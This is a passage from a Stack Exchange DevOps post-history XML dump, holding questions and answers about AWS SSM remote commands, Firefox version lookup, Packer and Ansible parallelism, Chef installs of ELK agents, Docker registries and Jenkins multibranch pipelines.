  <row Id="10634" PostHistoryTypeId="12" PostId="3389" RevisionGUID="e70d9955-76ea-4661-97bd-760cd648f601" CreationDate="2018-02-21T13:53:32.990" UserId="3" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;}]}" />
  <row Id="10635" PostHistoryTypeId="2" PostId="3390" RevisionGUID="ca36dad3-54a8-4658-a470-3aa8737d1880" CreationDate="2018-02-21T13:53:58.407" UserId="3" Text="Here is a helper Bash script which uses [`aws ssm send-command`][1] to run the commands:&#xD;&#xA;&#xD;&#xA;    #/usr/bin/env bash -x&#xD;&#xA;    # Script to run PowerShell script on the Windows instance.&#xD;&#xA;    instanceId=&quot;$1&quot;&#xD;&#xA;    cmdId=$(aws ssm send-command --instance-ids &quot;$instanceId&quot; --document-name &quot;AWS-RunPowerShellScript&quot; --query &quot;Command.CommandId&quot; --output text --parameters commands=&quot;'${@:2}'&quot;)&#xD;&#xA;    [ $? -ne 0 ] &amp;&amp; { echo &quot;Usage: $0 instance_id command&quot;; exit 1; }&#xD;&#xA;    while [ &quot;$(aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --query &quot;CommandInvocations[].Status&quot; --output text)&quot; == &quot;InProgress&quot; ]; do sleep 1; done&#xD;&#xA;    aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --details --query &quot;CommandInvocations[*].CommandPlugins[*].Output[]&quot; --output text&#xD;&#xA;&#xD;&#xA;Usage:&#xD;&#xA;&#xD;&#xA;     ./run_ec2_ps_cmd.sh instance-id command&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ ./run_ec2_ps_cmd.sh i-xyz hostname&#xD;&#xA;    ip-xyz&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;To execute larger outputs, see: &lt;https://devops.stackexchange.com/q/3372/3&gt;&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/ssm/send-command.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10636" PostHistoryTypeId="5" PostId="3389" RevisionGUID="472464d0-40a2-477f-afd1-2743c9eff728" CreationDate="2018-02-21T13:58:17.803" UserId="3" Comment="added 610 characters in body" Text="Here is a helper Bash script which uses [`aws ssm send-command`][1] with [`--output-s3-bucket-name`][2] parameter to run the command and the result is stored in the S3 bucket, then displayed to the standard output.&#xD;&#xA;&#xD;&#xA;    #/usr/bin/env bash -xe&#xD;&#xA;    # Script to run PowerShell script on the Windows instance, then uploads the output to S3 bucket.&#xD;&#xA;    instanceId=&quot;$1&quot;&#xD;&#xA;    bucketName=&quot;$2&quot;&#xD;&#xA;    bucketDir=&quot;Output&quot;&#xD;&#xA;    [ $# -le 2 ] &amp;&amp; { echo &quot;Usage: $0 instance_id bucket_name command&quot;; exit 1; }&#xD;&#xA;    aws s3 ls ${bucketName} &gt; /dev/null&#xD;&#xA;    cmdId=$(aws ssm send-command --instance-ids &quot;$instanceId&quot; --document-name &quot;AWS-RunPowerShellScript&quot; --query &quot;Command.CommandId&quot; --output text  --output-s3-bucket-name &quot;$bucketName&quot; --output-s3-key-prefix &quot;$bucketDir&quot; --parameters commands=&quot;'${@:3}'&quot;)&#xD;&#xA;    while [ &quot;$(aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --query &quot;CommandInvocations[].Status&quot; --output text)&quot; == &quot;InProgress&quot; ]; do sleep 1; done&#xD;&#xA;    outputPath=$(aws ssm list-command-invocations --command-id &quot;$cmdId&quot; --details --query &quot;CommandInvocations[].CommandPlugins[].OutputS3KeyPrefix&quot; --output text)&#xD;&#xA;    aws s3 ls s3://${bucketName}/${outputPath}/stderr.txt &amp;&amp; aws s3 cp --quiet s3://${bucketName}/${outputPath}/stderr.txt /dev/stderr&#xD;&#xA;    aws s3 cp --quiet s3://${bucketName}/${outputPath}/stdout.txt /dev/stdout&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    ./run_ec2_ps_cmd_s3.sh i-0xyz my-bucket-name 'While ($i -le 10) {(Invoke-WebRequest -UseBasicParsing -Uri http://example.com).Content; $i++}'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/ssm/send-command.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/tutorial_run_command.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="10637" PostHistoryTypeId="13" PostId="3389" RevisionGUID="3ae047f4-07fe-44d8-ae80-18d1daf2bffe" CreationDate="2018-02-21T13:58:35.807" UserId="3" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;}]}" />
  <row Id="10638" PostHistoryTypeId="2" PostId="3391" RevisionGUID="113861b1-8897-4581-8590-2d56762db63d" CreationDate="2018-02-21T14:24:54.050" UserId="6614" Text="How do you avoid a branchageddon situation when working with large organisations?  &#xD;&#xA;&#xD;&#xA;We work with a number of large financial organisations whose approach is to not take updates to software, but instead only high/critical security patches and bespoke functionality.  These organisations will only take patches and custom release in between major updates. Major updates can be years apart and carry high costs. This approach causes us (the software house) to have a branch of our code per major customer, which carries all the costs and inefficiencies of long term branching.&#xD;&#xA;&#xD;&#xA;My questions to the community are:&#xD;&#xA;•	Have you experienced similar update acceptance approaches from your customers?&#xD;&#xA;•	What suggestions do you have to help work with this approach?&#xD;&#xA;•	What suggestions do you have to help change organisations approaches to taking software updates?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10639" PostHistoryTypeId="1" PostId="3391" RevisionGUID="113861b1-8897-4581-8590-2d56762db63d" CreationDate="2018-02-21T14:24:54.050" UserId="6614" Text="How to avoid branchageddon with large organisations?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10640" PostHistoryTypeId="3" PostId="3391" RevisionGUID="113861b1-8897-4581-8590-2d56762db63d" CreationDate="2018-02-21T14:24:54.050" UserId="6614" Text="&lt;release&gt;&lt;branch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10641" PostHistoryTypeId="5" PostId="3391" RevisionGUID="9092840e-e35c-48d2-af12-08e23665713b" CreationDate="2018-02-21T15:06:52.387" UserId="736" Comment="formatting fix" Text="How do you avoid a branchageddon situation when working with large organisations?  &#xD;&#xA;&#xD;&#xA;We work with a number of large financial organisations whose approach is to not take updates to software, but instead only high/critical security patches and bespoke functionality.  These organisations will only take patches and custom release in between major updates. Major updates can be years apart and carry high costs. This approach causes us (the software house) to have a branch of our code per major customer, which carries all the costs and inefficiencies of long term branching.&#xD;&#xA;&#xD;&#xA;My questions to the community are:&#xD;&#xA;&#xD;&#xA; - Have you experienced similar update acceptance approaches from your&#xD;&#xA;   customers? &#xD;&#xA; - What suggestions do you have to help work with this&#xD;&#xA;   approach? &#xD;&#xA; - What suggestions do you have to help change organisations&#xD;&#xA;   approaches to taking software updates?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10642" PostHistoryTypeId="24" PostId="3391" RevisionGUID="9092840e-e35c-48d2-af12-08e23665713b" CreationDate="2018-02-21T15:06:52.387" Comment="Proposed by 736 approved by 13 edit id of 625" ContentLicense="CC BY-SA 3.0" />
  <row Id="10643" PostHistoryTypeId="2" PostId="3392" RevisionGUID="8e7994cb-a242-4d27-b583-8cf3dd00b696" CreationDate="2018-02-21T15:13:54.180" UserId="62" Text="Maybe if you maintained branches per versions instead of per customers it could help reduce their number?&#xD;&#xA;&#xD;&#xA;Otherwise the only way to really get away from it is to be able to host the software yourself and switch to a SaaS model where you would be able to maintain only one version of it." ContentLicense="CC BY-SA 3.0" />
  <row Id="10644" PostHistoryTypeId="5" PostId="3382" RevisionGUID="522a02e2-452d-4735-9909-97cc0a0f06a9" CreationDate="2018-02-21T16:20:25.157" UserId="6578" Comment="added code example" Text="You do not want to be parsing HTML in a programmatic way. Avoid it at all costs, if you can. It would be a nightmare to support on-going. There's actually a JSON output that Mozilla provides of all the versions:&#xD;&#xA;&#xD;&#xA;https://product-details.mozilla.org/1.0/firefox_versions.json&#xD;&#xA;&#xD;&#xA;**Edit:** Here is a simple bash script example that will always return the latest Firefox version. Make sure you have `jq` &amp; `curl` installed on your system:&#xD;&#xA;&#xD;&#xA;    curl -s https://product-details.mozilla.org/1.0/firefox_versions.json | jq -r .LATEST_FIREFOX_VERSION&#xD;&#xA;&#xD;&#xA;This returns:&#xD;&#xA;&#xD;&#xA;`58.0.2`" ContentLicense="CC BY-SA 3.0" />
  <row Id="10645" PostHistoryTypeId="5" PostId="3375" RevisionGUID="39b04a0e-73aa-4723-af94-4a8baea3388e" CreationDate="2018-02-21T16:23:32.183" UserId="13" Comment="appended answer 3376 as supplemental" Text="How to get the latest version of firefox? [This URL][1] was found, but is there no API?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.mozilla.org/en-US/firefox/releases/&#xA;&#xA;---&#xA;&#xA;At the moment I am considering to parse https://www.mozilla.org/en-US/firefox/releases/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10647" PostHistoryTypeId="2" PostId="3393" RevisionGUID="ce5a34a5-2bed-448d-9b55-6d92f97d12f8" CreationDate="2018-02-21T17:06:56.780" UserId="4289" Text="**Issue**&#xD;&#xA;&#xD;&#xA;I have an Ansible role which covers Windows, macOS and Ubuntu OS. I also have a Packer template file for each OS (due to small nuances and changes in the template file to handle provisioning) which handles standing up and provisioning the VM with Ansible onto VSphere.&#xD;&#xA;&#xD;&#xA;So to build all three VMs, it goes something like:&#xD;&#xA;&#xD;&#xA;      Windows build                Mac build                 Ubuntu build&#xD;&#xA;    ---------------------     ---------------------      --------------------&#xD;&#xA;    | Packer -&gt; Ansible | --&gt; | Packer -&gt; Ansible | ---&gt; |Packer -&gt; Ansible |&#xD;&#xA;    ---------------------     ---------------------      --------------------&#xD;&#xA;    &#xD;&#xA;Which isn't very efficient and can take a while.&#xD;&#xA;&#xD;&#xA;**Solution**&#xD;&#xA;&#xD;&#xA;I'm thinking of parallelising this somehow, by potentially having Packer standup all three VMs, but not provision it - only get the IP address of the VMs, which then (with some manipulation), put the IP addresses into an Ansible inventory file, and the ansible playbook is then run against that. &#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;              --------------&#xD;&#xA;    Packer -&gt; | Windows VM | &lt;----&#xD;&#xA;       |      --------------     |&#xD;&#xA;       |      --------------     |&#xD;&#xA;       -----&gt; |  macOS VM  | &lt;----&#xD;&#xA;       |      --------------     |&#xD;&#xA;       |      --------------     |&#xD;&#xA;       -----&gt; | Ubuntu VM  | &lt;----&#xD;&#xA;              --------------     |&#xD;&#xA;                                 |&#xD;&#xA;                              Ansible parallel provisioning&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is this an optimal way of using Packer and Ansible together? or is there a better way of parallelising these builds?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10648" PostHistoryTypeId="1" PostId="3393" RevisionGUID="ce5a34a5-2bed-448d-9b55-6d92f97d12f8" CreationDate="2018-02-21T17:06:56.780" UserId="4289" Text="Parallelising Packer with Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="10649" PostHistoryTypeId="3" PostId="3393" RevisionGUID="ce5a34a5-2bed-448d-9b55-6d92f97d12f8" CreationDate="2018-02-21T17:06:56.780" UserId="4289" Text="&lt;continuous-integration&gt;&lt;ansible&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10650" PostHistoryTypeId="2" PostId="3394" RevisionGUID="0a0634db-a8c4-42d9-91a9-ca5d2af4689f" CreationDate="2018-02-21T17:10:24.173" UserId="6615" Text="1.	Installation steps. There are two ELK agents to installs&#xD;&#xA;a.	Metricbeat&#xD;&#xA;i.	Copy the attached file metricbeat-6.0.0-x86_64.rpm to the target server&#xD;&#xA;ii.	Execute the command: sudo rpm -vi metricbeat-6.0.0-x86_64.rpm &#xD;&#xA;iii.	Copy the attached file system.yml to /etc/metricbeat/modules.d/&#xD;&#xA;iv.	Copy the attached file metricbeat.yml to /etc/metricbeat/&#xD;&#xA;v.	Execute the command: sudo systemctl enable metricbeat &#xD;&#xA;vi.	Execute the command: sudo service metricbeat start&#xD;&#xA;&#xD;&#xA;b.	Filebeat&#xD;&#xA;i.	Copy the attached file filebeat-6.0.0-x86_64.rpm to the target server&#xD;&#xA;ii.	Execute the command: sudo rpm -vi filebeat-6.0.0-x86_64.rpm &#xD;&#xA;iii.	Execute the command: sudo mv /etc/filebeat/module.d/system.yml.disabled /etc/filebeat/module.d/system.yml&#xD;&#xA;iv.	Copy the attached file filebeat.yml to /etc/filebeat/&#xD;&#xA;v.	Execute the command: sudo systemctl enable filebeat &#xD;&#xA;vi.	Execute the command: sudo service filebeat start&#xD;&#xA;&#xD;&#xA;I want to Automate this using Chef. Chef environment is ready and working&#xD;&#xA;Please help me on this.&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 3.0" />
  <row Id="10651" PostHistoryTypeId="1" PostId="3394" RevisionGUID="0a0634db-a8c4-42d9-91a9-ca5d2af4689f" CreationDate="2018-02-21T17:10:24.173" UserId="6615" Text="How to create Chef Package for Redhat. I have 2 rpms agents and 2 yaml files" ContentLicense="CC BY-SA 3.0" />
  <row Id="10652" PostHistoryTypeId="3" PostId="3394" RevisionGUID="0a0634db-a8c4-42d9-91a9-ca5d2af4689f" CreationDate="2018-02-21T17:10:24.173" UserId="6615" Text="&lt;chef&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10653" PostHistoryTypeId="5" PostId="3394" RevisionGUID="df337583-8197-4575-a0fd-916268eb4d2c" CreationDate="2018-02-21T17:27:56.473" UserId="4289" Comment="Improved formatting." Text=" 1. Installation steps. There are two ELK agents to install:&#xD;&#xA;   - Metricbeat&#xD;&#xA;     1. Copy the attached file `metricbeat-6.0.0-x86_64.rpm` to the target server&#xD;&#xA;     2. Execute the command: `sudo rpm -vi metricbeat-6.0.0-x86_64.rpm`&#xD;&#xA;     3. Copy the attached file `system.yml` to `/etc/metricbeat/modules.d/`&#xD;&#xA;     4. Copy the attached file `metricbeat.yml` to `/etc/metricbeat/`&#xD;&#xA;     5. Execute the command: `sudo systemctl enable metricbeat`&#xD;&#xA;     6. Execute the command: `sudo service metricbeat start`&#xD;&#xA;&#xD;&#xA;   - Filebeat&#xD;&#xA;     1. Copy the attached file `filebeat-6.0.0-x86_64.rpm` to the target server&#xD;&#xA;     2. Execute the command: `sudo rpm -vi filebeat-6.0.0-x86_64.rpm `&#xD;&#xA;     3. Execute the command: `sudo mv /etc/filebeat/module.d/system.yml.disabled /etc/filebeat/module.d/system.yml`&#xD;&#xA;     4. Copy the attached file `filebeat.yml` to `/etc/filebeat/`&#xD;&#xA;     5. Execute the command: `sudo systemctl enable filebeat `&#xD;&#xA;     6. Execute the command: `sudo service filebeat start`&#xD;&#xA;&#xD;&#xA;I want to Automate this using Chef. The Chef environment is ready and working.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10654" PostHistoryTypeId="24" PostId="3394" RevisionGUID="df337583-8197-4575-a0fd-916268eb4d2c" CreationDate="2018-02-21T17:27:56.473" Comment="Proposed by 4289 approved by 6615 edit id of 626" ContentLicense="CC BY-SA 3.0" />
  <row Id="10655" PostHistoryTypeId="2" PostId="3395" RevisionGUID="85e2b183-327e-4a8f-891c-df9a0a71ff6a" CreationDate="2018-02-21T17:28:45.287" UserId="6578" Text="If you're looking for a master list of all images and sizes, kind of a 'statistics' pages, Docker Hub doesn't have that. You'll need to use their HTTP API to:&#xD;&#xA;&#xD;&#xA;1. get all the repositories, stepping through the paginated results API reference: https://docs.docker.com/registry/spec/api/#listing-repositories&#xD;&#xA;1. pull the Image Manifest for each repo. API reference: https://docs.docker.com/registry/spec/api/#pulling-an-image-manifest&#xD;&#xA;1. Store those manifests in local database so you can sort them based on image size&#xD;&#xA;&#xD;&#xA;You'll specifically need to pull the newest `Image Manifest Version 2, Schema 2`, which apparently not all repos support yet. This newer manifest has the image sizes in it: https://docs.docker.com/registry/spec/manifest-v2-2/&#xD;&#xA;&#xD;&#xA;All in all, this is much faster than trying to actually download all the images from Docker Hub, but it will still take quite a long time and a lot of processing. The database for storing this all might get rather large and difficult to process, so I'm not sure how much you really want to pursue this route for a simple research project. That's up to you.&#xD;&#xA;&#xD;&#xA;You may want to take @Vish's advice and simply go for obvious large images such as the Microsoft or Java ones." ContentLicense="CC BY-SA 3.0" />
  <row Id="10656" PostHistoryTypeId="5" PostId="3395" RevisionGUID="3eb9fc39-9501-486d-9921-dbda3ba9d728" CreationDate="2018-02-21T17:35:01.190" UserId="6578" Comment="added 1 character in body" Text="If you're looking for a master list of all images and sizes, kind of a 'statistics' pages, Docker Hub doesn't have that. You'll need to use their HTTP API to:&#xD;&#xA;&#xD;&#xA;1. get all the repositories, stepping through the paginated results. API reference: https://docs.docker.com/registry/spec/api/#listing-repositories&#xD;&#xA;1. pull the Image Manifest for each repo. API reference: https://docs.docker.com/registry/spec/api/#pulling-an-image-manifest&#xD;&#xA;1. Store those manifests in local database so you can sort them based on image size&#xD;&#xA;&#xD;&#xA;You'll specifically need to pull the newest `Image Manifest Version 2, Schema 2`, which apparently not all repos support yet. This newer manifest has the image sizes in it: https://docs.docker.com/registry/spec/manifest-v2-2/&#xD;&#xA;&#xD;&#xA;All in all, this is much faster than trying to actually download all the images from Docker Hub, but it will still take quite a long time and a lot of processing. The database for storing this all might get rather large and difficult to process, so I'm not sure how much you really want to pursue this route for a simple research project. That's up to you.&#xD;&#xA;&#xD;&#xA;You may want to take @Vish's advice and simply go for obvious large images such as the Microsoft or Java ones." ContentLicense="CC BY-SA 3.0" />
  <row Id="10657" PostHistoryTypeId="5" PostId="3381" RevisionGUID="52869551-64f4-4a36-9254-01417a477c4f" CreationDate="2018-02-21T17:42:33.403" UserId="6578" Comment="clearer understanding of what Terraform provisioning scripts do" Text="I would agree with previous statements: avoid baking users into your base image with Packer. Likewise, you should avoid baking them with `Terraform` as well. Terraform does not provide a mechanism to perform on-going changes _inside_ the server. It only has those initial provisioning scripts. If you manage users with Terraform provisioning scripts, those users will never get updated again by Terraform. You might as well be baking these changes into Packer at that point.&#xD;&#xA;&#xD;&#xA;I would honestly suggest you venture outside the Hashicorp ecosystem for this task. For _on-going_ changes of machines, this is exactly what a configuration management system is designed for. Something like Anisble, Chef, Puppet, or Salt, _real_ configuration management tools, are best suited for this job.&#xD;&#xA;&#xD;&#xA;Packer lets you set a base image to be used by many machines. Terraform maintains the state of your architecture as code. However, what happens when you on-board or off-board new users? Or you need to change their individual SSH keys because they lost their computer? This should not be a code change. Nor would you want something like User secrets stored as code in your Terraform provisioning script.&#xD;&#xA;&#xD;&#xA;At my company the stack is: Packer images, Terraform bootstrapping, and Chef management. They work well together. I'll admit, I love putting more things into Packer and Teraform as it makes spin up times quicker. But a good CM tool still has its place in the DevOps world." ContentLicense="CC BY-SA 3.0" />
  <row Id="10658" PostHistoryTypeId="2" PostId="3396" RevisionGUID="8d9951f6-2fa7-44b4-9211-201864082f24" CreationDate="2018-02-21T17:56:37.163" UserId="47" Text="As Michael mentioned, offer a standard solution based on release versions/numbers, with a reasonably long lifespan for your industry (maybe interleaved with one or more shorter lifespan intermediate versions, if it makes sense for your typical customers).&#xD;&#xA;&#xD;&#xA;Give your customers the option to embark on this standard release track, maybe with a decent migration deadline in place.&#xD;&#xA;&#xD;&#xA;If they insist on a full-custom branch support strategy just charge them accordingly, to properly cover all your extra costs for offering such full-custom support - it only makes business sense. Some customers will migrate to reduce their costs (which will help you reduce the number of custom branches), some won't. &#xD;&#xA;&#xD;&#xA;Variable support billing, growing progressively with the age of the release versions from which the custom branches originate can also be an incentive for customers to migrate to newer branches faster, helping with faster closing of the older custom branches. This can help reduce the number of custom branches per customer - if you have customers that simultaneouly run multiple versions of your software.&#xD;&#xA;&#xD;&#xA;Make sure you don't fall into the trap of doing full branch merges from/to any of the release branches (both standard and custom), all changes to them should be either individually developed or cherry-picked merged fixes. &#xD;&#xA;&#xD;&#xA;Because each of these branches will gradually diverge from each-other, the number of hotfixes requiring customisation/individual development will grow exponentially (plain cherry-pick merging will fail). You need to take the development cost for these into account.&#xD;&#xA;&#xD;&#xA;With no (significant) branch merges in the picture you can (and should, I cannot stress its importance enough) build fully automated CI/CD pipelines for these branches, accompanied with a good hotfix tracking/management system in place, making the hotfix delivery just routine (or almost)." ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostHistoryTypeId="2" PostId="3397" RevisionGUID="01b482b2-3fd3-4e3c-8917-2c6817edf6f7" CreationDate="2018-02-21T17:56:53.787" UserId="6578" Text="If you want a beautiful integration between Docker and SCM, GitLab provides it's own built-in Docker registry. This makes publishing a Docker image in the build pipeline a breeze.&#xD;&#xA;&#xD;&#xA;The other big advantage of GitLab Docker registry is that it supports multiple Docker repositories for each GitLab repo. This allows you to create a new Docker repo for each branch, or each commit, each environment, or anything you need.&#xD;&#xA;&#xD;&#xA;My company leverages this by pushing our images to repos based on the branch, tagged with their commit. Here is an example: `project-name/branch-name:commit-SHA`&#xD;&#xA;&#xD;&#xA;Or if you have multiple Docker images being build for a particular branch (like a front-end Angular app and it's back-end API that it talks to), you can scope it even further, like so:  &#xD;&#xA;`project-name/branch-name/api:commit-SHA`  &#xD;&#xA;`project-name/branch-name/front-end:commit-SHA`&#xD;&#xA;&#xD;&#xA;There are no limits to the number of slashes (/) you can use for scoping. This makes it very easy to tell the exact commit of an image when it's deployed. For this reason, my company almost never uses the generic 'latest' tag. We prefer the specificity of which image is deployed where.&#xD;&#xA;&#xD;&#xA;You can still apply this same 'multiple docker repo' logic to any Docker registry. You'll have to look up that specific system's capabilities for creating new repos on the fly, and how easy it is to integrate with your CI/CD pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="10660" PostHistoryTypeId="2" PostId="3398" RevisionGUID="dd97cb37-f145-487f-abaf-a9f5dbe37b1c" CreationDate="2018-02-21T18:39:14.267" UserId="210" Text="I recommend Chocolatey. There are more and more companies that are adopting this. For example, if one would like to install Gradle and navigates to the [installation page][1]:&#xD;&#xA;&#xD;&#xA;&gt; Chocolatey is “the package manager for Windows”.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     $ choco install gradle&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gradle.org/install/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostHistoryTypeId="2" PostId="3399" RevisionGUID="d0f09f12-01ab-4592-b8d0-239adde133e0" CreationDate="2018-02-21T18:41:19.650" UserId="210" Text="One could use [NuGet][1]. This tool is embedded in various tools, including [Chocolatey][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.nuget.org/&#xD;&#xA;  [2]: https://chocolatey.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10662" PostHistoryTypeId="2" PostId="3400" RevisionGUID="595e8647-af3e-494c-a963-ee0c1c129826" CreationDate="2018-02-21T18:46:03.517" UserId="2494" Text="I have a multibranch job set to run any branch with a Jenkinsfile.&#xD;&#xA;&#xD;&#xA;I have some options I can think of if I want to remove a branch from the list of jobs running for the multi-branch pipeline.&#xD;&#xA;&#xD;&#xA;1. I can delete the branch&#xD;&#xA;2. I can delete the Jenkinsfile in that branch&#xD;&#xA;&#xD;&#xA;The second solution is good, except I need to commit and push that to the git repo for my branch, and if that branch is merged into another branch it blows away the Jenkinsfile.&#xD;&#xA;&#xD;&#xA;What is the best way to disable only some branches of a multibranch pipeline?" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostHistoryTypeId="1" PostId="3400" RevisionGUID="595e8647-af3e-494c-a963-ee0c1c129826" CreationDate="2018-02-21T18:46:03.517" UserId="2494" Text="Multibranch Jenkins Build - How to disable some branches only" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostHistoryTypeId="3" PostId="3400" RevisionGUID="595e8647-af3e-494c-a963-ee0c1c129826" CreationDate="2018-02-21T18:46:03.517" UserId="2494" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10665" PostHistoryTypeId="2" PostId="3401" RevisionGUID="d86908ad-764f-40f2-a8da-29de02206d76" CreationDate="2018-02-21T18:47:04.897" UserId="210" Text="What about using a CI tool? Create a parallel job and the jobs will run parallel. For example, one could use Jenkins:&#xD;&#xA;&#xD;&#xA;https://jenkins.io/blog/2017/09/25/declarative-1/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt;     stage('run-parallel-branches') {&#xD;&#xA;&gt;       steps {&#xD;&#xA;&gt;         parallel(&#xD;&#xA;&gt;           a: {&#xD;&#xA;&gt;             echo &quot;This is branch a&quot;&#xD;&#xA;&gt;           },&#xD;&#xA;&gt;           b: {&#xD;&#xA;&gt;             echo &quot;This is branch b&quot;&#xD;&#xA;&gt;           }&#xD;&#xA;&gt;         )&#xD;&#xA;&gt;       }&#xD;&#xA;&gt;     }&#xD;&#xA;&#xD;&#xA;but there are other CI tools that could do the same." ContentLicense="CC BY-SA 3.0" />
  <row Id="10667" PostHistoryTypeId="2" PostId="3403" RevisionGUID="e529ed37-71fb-4cdf-bc0f-4fbebde0e838" CreationDate="2018-02-21T18:52:30.600" UserId="210" Text="https://www.google.nl/search?q=how%2Bto%2Bcreate%2Ba%2Bchef%2Bpackage&#xD;&#xA;&#xD;&#xA;returns:&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/resource_package.html&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;https://docs.chef.io/resource_examples.html&#xD;&#xA;&#xD;&#xA;The latter provides code snippets, like how to copy files:&#xD;&#xA;&#xD;&#xA;&gt; **Create a file from a copy**&#xD;&#xA;&gt; &#xD;&#xA;&gt; The following example shows how to copy a file from one directory to&#xD;&#xA;&gt; another, locally on a node:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     file '/root/1.txt' do&#xD;&#xA;&gt;       content IO.read('/tmp/1.txt')&#xD;&#xA;&gt;       action :create&#xD;&#xA;&gt;     end&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="10668" PostHistoryTypeId="2" PostId="3404" RevisionGUID="3578948b-b665-4294-8d82-85d5aa23cf8a" CreationDate="2018-02-21T19:28:59.827" UserId="6579" Text="I would recommend against importing if at all possible. You can use built-in functionality to achieve the same results. Also be aware of &quot;[In-process Script Approval][1]&quot;&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/a/42662243/1678094&#xD;&#xA;&#xD;&#xA;&lt;!-- language-all: lang-java --&gt;&#xD;&#xA;&#xD;&#xA;    // GET&#xD;&#xA;    def get = new URL(&quot;https://httpbin.org/get&quot;).openConnection();&#xD;&#xA;    def getRC = get.getResponseCode();&#xD;&#xA;    println(getRC);&#xD;&#xA;    if(getRC.equals(200)) {&#xD;&#xA;        println(get.getInputStream().getText());&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    // POST&#xD;&#xA;    def post = new URL(&quot;https://httpbin.org/post&quot;).openConnection();&#xD;&#xA;    def message = '{&quot;message&quot;:&quot;this is a message&quot;}'&#xD;&#xA;    post.setRequestMethod(&quot;POST&quot;)&#xD;&#xA;    post.setDoOutput(true)&#xD;&#xA;    post.setRequestProperty(&quot;Content-Type&quot;, &quot;application/json&quot;)&#xD;&#xA;    post.getOutputStream().write(message.getBytes(&quot;UTF-8&quot;));&#xD;&#xA;    def postRC = post.getResponseCode();&#xD;&#xA;    println(postRC);&#xD;&#xA;    if(postRC.equals(200)) {&#xD;&#xA;        println(post.getInputStream().getText());&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/managing/script-approval/" ContentLicense="CC BY-SA 3.0" />
  <row Id="10669" PostHistoryTypeId="2" PostId="3405" RevisionGUID="667b622d-84d4-4dcb-aee5-e4593d172122" CreationDate="2018-02-21T20:07:27.517" UserId="6579" Text="Jenkins can filter branches in a multibranch pipeline by name using a wildcard or regular expression.&#xD;&#xA;&#xD;&#xA;[![jenkins filter branches][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/P2TRv.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostHistoryTypeId="5" PostId="3394" RevisionGUID="271a03ac-32af-4558-944e-afd5e254c284" CreationDate="2018-02-21T20:49:37.947" UserId="6615" Comment="added 102 characters in body" Text=" 1. Installation steps. There are two ELK agents to install:&#xD;&#xA;   - Metricbeat&#xD;&#xA;     1. Copy the attached file `metricbeat-6.0.0-x86_64.rpm` to the target server&#xD;&#xA;     2. Execute the command: `sudo rpm -vi metricbeat-6.0.0-x86_64.rpm`&#xD;&#xA;     3. Copy the attached file `system.yml` to `/etc/metricbeat/modules.d/`&#xD;&#xA;     4. Copy the attached file `metricbeat.yml` to `/etc/metricbeat/`&#xD;&#xA;     5. Execute the command: `sudo systemctl enable metricbeat`&#xD;&#xA;     6. Execute the command: `sudo service metricbeat start`&#xD;&#xA;&#xD;&#xA;   - Filebeat&#xD;&#xA;     1. Copy the attached file `filebeat-6.0.0-x86_64.rpm` to the target server&#xD;&#xA;     2. Execute the command: `sudo rpm -vi filebeat-6.0.0-x86_64.rpm `&#xD;&#xA;     3. Execute the command: `sudo mv /etc/filebeat/module.d/system.yml.disabled /etc/filebeat/module.d/system.yml`&#xD;&#xA;     4. Copy the attached file `filebeat.yml` to `/etc/filebeat/`&#xD;&#xA;     5. Execute the command: `sudo systemctl enable filebeat `&#xD;&#xA;     6. Execute the command: 